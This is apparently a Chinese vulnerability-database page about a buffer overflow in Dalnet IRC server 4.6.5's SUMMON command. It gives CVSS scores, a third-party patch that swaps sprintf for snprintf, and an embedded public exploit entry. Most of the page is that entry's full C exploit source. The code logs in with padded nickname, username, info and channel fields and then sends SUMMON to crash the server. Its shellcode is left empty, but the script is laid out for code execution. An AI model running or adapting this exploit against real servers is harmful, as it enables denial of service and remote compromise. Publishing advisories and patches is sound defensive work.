发布时间 :2000-06-29 00:00:00
修订时间 :2008-09-10 15:05:09

[原文]Buffer overflow in Dalnet IRC server 4.6.5 allows remote attackers to cause a denial of service or execute arbitrary commands via the SUMMON command.

[CNNVD]Dalnet IRC Server "SUMMON"缓冲区溢出漏洞(CNNVD-200006-112)

        Dalnet IRC server 4.6.5版本存在缓冲区溢出漏洞。远程攻击者借助SUMMON命令导致拒绝服务或执行任意命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BID  1404
(UNKNOWN)  VULN-DEV  20000628 dalnet 4.6.5 remote vulnerability

- 漏洞信息

Dalnet IRC Server "SUMMON"缓冲区溢出漏洞
危急 缓冲区溢出
2000-06-29 00:00:00 2005-05-02 00:00:00
        Dalnet IRC server 4.6.5版本存在缓冲区溢出漏洞。远程攻击者借助SUMMON命令导致拒绝服务或执行任意命令。

- 公告与补丁

        Matt Conover provided this patch:
        Apply the patch to following to s_bsd.c:
        --- s_bsd.old.c Mon Nov 1 17:34:19 1999
        +++ s_bsd.c Mon Nov 1 17:35:39 1999
        @@ -2327,7 +2327,7 @@
         sendto_one(who, wrerr, who->name);
        - (void)sprintf(line, "ircd: Channel , by @ () \n\r",
        + (void)snprintf(line, sizeof(line), "ircd: Channel , by @ () \n\r",
         chname, who->user->username, who->user->host, who->name, who->info);
         if (write(fd, line, strlen(line)) != strlen(line))
        Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at:

- 漏洞信息 (20043)

DALnet Bahamut IRCd 4.6.5 "SUMMON" Buffer Overflow Vulnerability (EDBID:20043)
linux remote
2000-06-29 Verified
0 Matt Conover
N/A [点击下载]

Dalnet ircd is a server for a popular internet chat application, IRC (Internet Relay Chat). The implementation for one of its features, the "summon" command, has a hole which could grant an attacker remote access on the host running the server (with the privs of the server). The vulnerability is a buffer overflow (due to use of an sprintf with user input) and rather difficult to exploit. The reason for this is that the shellcode must be divided into a number of variables, one of them being the hostname (which is obtained via reverse lookup, so dns poisoning would be involved) and then reconstructed in memory and executed on the stack. Also, the "summons" command is not enabled in the ircd server by default -- it has to be defined at compile time. Nonetheless, in theory this can be exploited so patches should be applied. 

 * dalnet 4.6.5 remote exploit (without shellcode)
 * Copyright (C) November 1999, Matt Conover & w00w00 Security Team

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define ERROR -1
#define BUFSIZE 512

#define IRCSERVER ""
#define IRCPORT 6667

#define SUMMONEE "bob" /* just someone we assume will be on irc */

#define NICKLEN 30
#define USERLEN 10
#define INFOLEN 50
#define CHANLEN 32

 * Split shellcode between nickname, username, info, and channel, with the
 * last 4 bytes in each buffer jmp'ing to the next.  The amount of
 * shellcode you can fit will depend on how long your hostname is.  The
 * buffer can be overflowed by up to 65 bytes (host+channel+info+nick+user
 * is 185 bytes, while buffer being overflowed is only 120 bytes)

char shellcode[] = ""; /* see comments above */

char nickname[NICKLEN+1], username[USERLEN+1];
char info[INFOLEN+1], channel[CHANLEN+1];

int sockfd;
char readbuf[BUFSIZE], writebuf[BUFSIZE];

struct sockaddr_in servsin;

void exploit();
void checkerrors();
void makeconn();

char *inet_ntoa(struct in_addr in);

int main(int argc, char **argv)
   struct hostent *hostent;

   hostent = gethostbyname(IRCSERVER);
   if (hostent == NULL)
      fprintf(stderr, "gethostbyname(%s) error: %s\n", IRCSERVER,


   servsin.sin_family = AF_INET, servsin.sin_port = htons(IRCPORT);
   memset(&servsin.sin_zero, 0, sizeof(servsin.sin_zero));
   memcpy(&servsin.sin_addr, hostent->h_addr, hostent->h_length);

   /* setup nickname, username, and info */
   memset(nickname, 'A', NICKLEN), nickname[NICKLEN];
   memset(username, 'A', USERLEN), username[USERLEN];
   memset(info, 'A', INFOLEN), info[INFOLEN];

   sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

   printf("Calling exploit()..\n");
   exploit(), close(sockfd);

   printf("Exploitation complete.\n");
   return 0;

/* connect and login to irc server */
void makeconn()
   printf("Connecting to %s (%s) [port %d]..",
          IRCSERVER, (char *)inet_ntoa(servsin.sin_addr), IRCPORT);


   if (connect(sockfd, (struct sockaddr *)&servsin,
               sizeof(servsin)) == ERROR)
      fprintf(stderr, "\nerror connecting to %s: %s\n\n",
              IRCSERVER, strerror(errno));

      close(sockfd), exit(ERROR);

   printf(" connected.\n");

   memset(readbuf, 0, BUFSIZE), memset(writebuf, 0, BUFSIZE);
   snprintf(writebuf, BUFSIZE-1, "NICK %s\n", nickname);

   printf("Sending NICK info..\n");
   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);

   snprintf(writebuf, BUFSIZE-1, "USER %s none none :%s\n",
            username, info);

   printf("Sending USER info..\n");
   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);

   printf("\nChecking for login errors..\n");
   sleep(5), checkerrors();

/* check for errors in login */
void checkerrors()
   char *ptr;
   int res = ERROR;

   while (res == BUFSIZE-1)
      res = recv(sockfd, readbuf, BUFSIZE-1, 0);
      if (res == ERROR)
         fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
         close(sockfd), exit(ERROR);

      ptr = strstr(readbuf, ":ERROR");
      if (ptr != NULL)
         fprintf(stderr, "error with irc server:\n%s\n", ptr);
         close(sockfd), exit(ERROR);

void exploit()
   printf("Successfuly logged in.\n\n");

   channel[0] = '#', memset(channel+1, 'A', CHANLEN-1),
   channel[CHANLEN] = '\0';

   snprintf(writebuf, BUFSIZE-1, "JOIN %s\n", channel);
   printf("Joining a channel..\n");

   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);

   sleep(3), checkerrors();

   snprintf(writebuf, BUFSIZE-1, "SUMMON %s %s\n", SUMMONEE, channel);
   printf("\nAttempting to summon %s (the final item)..\n", SUMMONEE);

   /* ircd ownage/crash will occur during this send() */
   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);

   /* should have stopped/crashed on server-side by now */
   sleep(3), checkerrors();

   printf("If it didn't work, "
          "the server wasn't compiled with ENABLE_SUMMON\n");

- 漏洞信息

Dalnet IRC Server SUMMON Command Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Third-Party Solution
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-06-29 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or vendor upgrades to correct this issue. However, Matt Conover has released an unofficial patch to address this vulnerability. As with all third-party solutions, ensure they come from a reliable source and are permitted under your company's security policy.

- 相关参考

- 漏洞作者

Unknown or Incomplete